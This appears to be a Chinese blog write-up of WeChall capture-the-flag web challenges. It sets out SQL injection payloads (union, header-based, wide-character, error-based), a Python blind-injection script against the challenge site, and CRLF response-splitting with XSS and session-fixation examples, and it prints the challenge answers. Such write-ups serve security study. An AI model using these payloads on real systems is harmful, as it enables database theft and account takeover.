$query = "SELECT * FROM users WHERE username='$username'";
if (false === ($result = $db->queryFirst($query))) {
echo GWF_HTML::error('Auth2', $chall->lang('err_unknown'), false);
return false;
}
#############################
### This is the new check ###
if ($result['password'] !== $password) {
echo GWF_HTML::error('Auth2', $chall->lang('err_password'), false);
return false;
} # End of the new code ###
#############################
很容易知道,用union构造查询就可以绕过了,如下:
username=123' union select 1,'admin',md5('password');#
&password=password
&login=Login
首先看代码,看个大概之后直接分析核心代码:
$playerid = gbook_playerID(true);// Current Player
$userid = 0;#guestbook has no login yet.
$time = time();
$ip = gbook_getIP();
$message = mysql_real_escape_string($message);
$query = "INSERT INTO gbook_book VALUES('$playerid', $userid, $time, '$ip', '$message')";
if (false === $db->queryWrite($query)) {
echo GWF_HTML::err('ERR_DATABASE', array(__FILE__, __LINE__));
return false;
}
message就是我们在留言板所输入的部分,观察之后发现,它被过滤了,宽字符在这里是无法绕过的,然后就应该找找别的注入点,之后看到gbook_getIP()函数如下定义:
function gbook_getIP()
{
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
elseif (isset($_SERVER['HTTP_VIA'])) {
return $_SERVER['HTTP_VIA'];
}
else {
return $_SERVER['REMOTE_ADDR'];
}
}
这里直接获取了请求头中X_FORWARDED_FOR,所以我们只需要伪造一个带有X_FORWARDED_FOR的请求就可以完成注入了,burpsuite抓包之后选择对应的包然后构造如下: 用repeater加上
X_FORWARDED_FOR:127.0.0.1,8888',(select gbu_password from gbook_user where gbu_name='admin')) -- a
之后得到admin的密码:
TheBrownFoxAndTheLazyDog
希望有大神能够帮帮我这道题,这道题是一个脚本爆破的题目,直接暴力枚举密码,然后由于代码中有次数限制,所以我们这里采用的是二分枚举,但是我这里遇到一个问题,就是我每次递交请求时候,它都默认为我是第一次尝试,然后密码就肯定不对,不知道怎么解决。。。求大神相助这道题。我的代码如下:
import requests
import re
url = 'http://www.wechall.net/challenge/blind_light/index.php'
r=requests.session()
s=r.get(url)
word="0123456789ABCDEF"
password=""
for i in range(1,33):
start=0
end=15
while(start<end):
mid=(start+end)/2
#print word[mid]
header={'COOKIE':'WC=8800431-0-BFaTupbuIbCgudW1;'}
if(end-start==1):
param = "\' or substring(password,"+str(i)+",1)>\'"+word[start]+"\'#"
payload={'injection':param,'inject':"Inject"}
result=r.post(url,data=payload,headers=header)
content=result.text
print content
if 'Welcome back' in content:
start=end
break
else:
end=start
break
else:
param = "\' or substring(password,"+str(i)+",1)<\'"+word[mid]+"\'#"
payload={'injection':param,'inject':"Inject"}
result=r.post(url,data=payload,headers=header)
content=result.text
#print content.encode('utf-8')
print content
pattern = re.compile(r'This was your(.*?)attempt',re.S)
items=[]
items = re.findall(pattern,content)
print items
if 'Welcome back' in content:
end=mid
else:
start=mid
password=password+word[start]
print password
header={'COOKIE':'WC=8800431-0-BFaTupbuIbCgudW1;'}
payload={'thehash':password,'mybutton':"Enter"}
result=r.post(url,data=payload,headers=header)
源代码就不贴了,核心就是一个典型的宽字符注入的问题。 要求就是用”Admin”登录,关键在于它还并没有对password进行检验,这样子,直接构造绕过addslashes()函数就可以了。但是这里我遇到一个特别神奇的问题,如下,我使用的是火狐的插件hackerbar,然后下图的输入就可以过
然后问题来了,我在输入框里面输入
用户名:%C0'+union+select+CHAR(65,100,109,105,110)#
密码:1234
就没办法登录了,实在没有明白二者差距在哪里,看出来的大神求解释下呗。。。
这次终于没有源代码可以看了,根据提示的Hint说是数据库的表名叫做”users”,这个提示非常重要啊,我们再试试输入框,发现似乎并没有过滤,直接单引号就可以插入我们自己的查询语句了,应该是目前来说的最简单的题目了。 尝试了几次之后直接构造如下:
' and 1=2 union select password,1 from users where username="Admin"#
PS:它会回显select的第一个字段,由此来爆密码
然后从回显里面看出密码的MD5值是215c61d0104f8925b5f7e4e87a7cbdfa,查了查竟然要我付费,作为屌丝我当然不答应啦,所以就这样吧
先在username里直接试试最简单的
' or 1=1#
发现有点作用,于是判断只是单纯的单引号。题目要求的我们把库名和表名爆出来,所以我们先开始尝试报错注入,
' and 1=2 union select 1,2,3#
然后琢磨一下,直接开始爆库名和表名就可以了
' and 1=2 union select 1,2,database()#
得到库名是gizmore_tableu61 所以继续吧所有表名都爆出来呗
' and 1=2 union select 1,2,group_concat(table_name) from information_schema.columns where table_schema="gizmore_tableu61"#
由此即得到正确的表名为usertableus4 所以最后的答案就是gizmore_tableu61_usertableus4
看源码,重点就是下面的过滤:
if (preg_match('/statistics|tables|columns|table_constraints|key_column_usage|partitions|schema_privileges|schemata|database|schema\(\)/i', $username.$password))
{
echo GWF_HTML::error(GWF_PAGE_TITLE, $chall->lang('on_match'));
}
然后简单测试了一下, 如下的payload是可以执行的:
' and 1=2 union select 1,2,3#
然后来构造一下语句把,观察下,发现很多我们暴库需要的关键字都被过滤了。但是关键的库information_schema
是没有被过滤的,然后就想办法爆东西吧。 这里我们有一个比较常用的语句:
show processlist
通过这个最起码可以看到库名,而这个语句主要是information_schema
库中的一个叫做proccesslist
表的内容,那么我们也可以来尝试一下爆出它的内容即可,
下图是本机实测的截图:
挨个儿爆内容,最后有效的payload如下:
' and 1=2 union select info,2,3 from information_schema.processlist#
观察发现库名和表名都出来了,所以最后结果就是
nurfedtables37.userbobbytable7
这个观察源码发现注入点位于order by
,那么就只有两种方法可行,一种是直接街上and构造双查询语句,第二种是在DESC/ASC
后打上,
号,然后再接上下一个select
语句。 但是这里我们看到源码中的关键句子如下:
$query = "SELECT * FROM users ORDER BY $orderby $dir LIMIT 10";
而$dir就是DESC/ASC
中的某一个,然后加上它会返回错误信息,所以就确定了就是报错注入了。这里报错注入有好几种方法,我用的是以下的语句:
?by=3 and extractvalue(1, (select password from users where username=CHAR(65, 100, 109, 105, 110)))#
上述句子中CHAR(65, 100, 109, 105, 110)
就是Admin
,因为要爆出Admin
的密码,直接加上限定就好了。结果截图如下:
这个MD5就是最后的答案:
C3CBEB0C8ADC66F2922C65E7784BE14
这里最开始我遇到一个比较蠢的问题,最开始我的语句如下:
?by=3 and extractvalue(1, concat(0x5c,(select password from users where username=CHAR(65, 100, 109, 105, 110))))#
自作多情的多用的了一个concat来连接答案,结果报错出的MD5值如图:
即:
\3C3CBEB0C8ADC66F2922C65E7784BE1
而我怎么提交都是错的,后来才发现这个MD5值只有31位,然后我就意识到还有一位没有显示出来,因为这里默认只显示32位,而我的多此一举导致最开始的\
符号占用了一位,所以答案的最后一位就没出来,这种问题还是一定要少犯一点的好,免得白白耽搁时间。
这里是一道报错注入。 报错注入我个人常用的两种,ExtractValue
和floor
。 不过这里我们看看它给的核心代码:
function blightVuln($password)
{
# Do not mess with other sessions!
if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) )
{
return false;
}
$db = blightDB();
$sessid = GWF_Session::getSessSID();
$query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";
return $db->queryFirst($query) !== false;
}
这里他把表名blight
过滤了,也是比较蛋疼的,因为我们要通过ExtractValue
爆出数据,那么我们就一定需要输入表名的,所以我们果断摒弃这个,选择通过’floor’来报错,原理这里我都不再赘述,不知道的可以私信我。因为主查询里面有了表名那么我们就在构造的时候就可以避开它,直接给上paylaod
' or (select count(*) from (select 1 union select 2 union select 3)x group by concat((select password),floor(rand(0)*2)))#
CRLF是”回车 + 换行”(\r\n)的简称,即我们都知道在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来提取HTTP 内容 一旦我们能够控制http头,通过注入一些CRLF这样就可以控制header和body的分割线,这样我们就可以向body或是header中注入些东西了。所以CRLF Injection又叫HTTP Response Splitting,简称HRS。
通常来说,网站多数会通过HTTP Header 中的location的方式来实现跳转。 一般格式就是Location:xxx,简单例子
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.xxx.com
302跳与301跳的区别 http://www.cnblogs.com/fanyong/archive/2013/07/20/3202586.html
如果location直接从URL里获得的话, 输入
http://www.xxx.com%0aSet-cookie:JSPSESSID%3d12345 这样子,Header就变成了
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.xxx.com
Set-cookie:JSPSESSID=12345
瞬间就设置上了一个session,也就是”会话固定漏洞” 此外,比较有价值的是很容易造出一个能够轻松绕过filter的XSS,还是刚才那个例子,如果我们输入
http://www.xxx.com%0d%0a%0d%0a<svg/onload=prompt(1)>
那么Header就变成了
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.xxx.com
<svg/onload=prompt(1)>
那么网页的内容中就会有一个反射型的XSS了。
只需要对输入进行过滤,过滤掉 ‘\r’ 和 ‘\n’,从而避免输入的数据污染到其他HTTP头。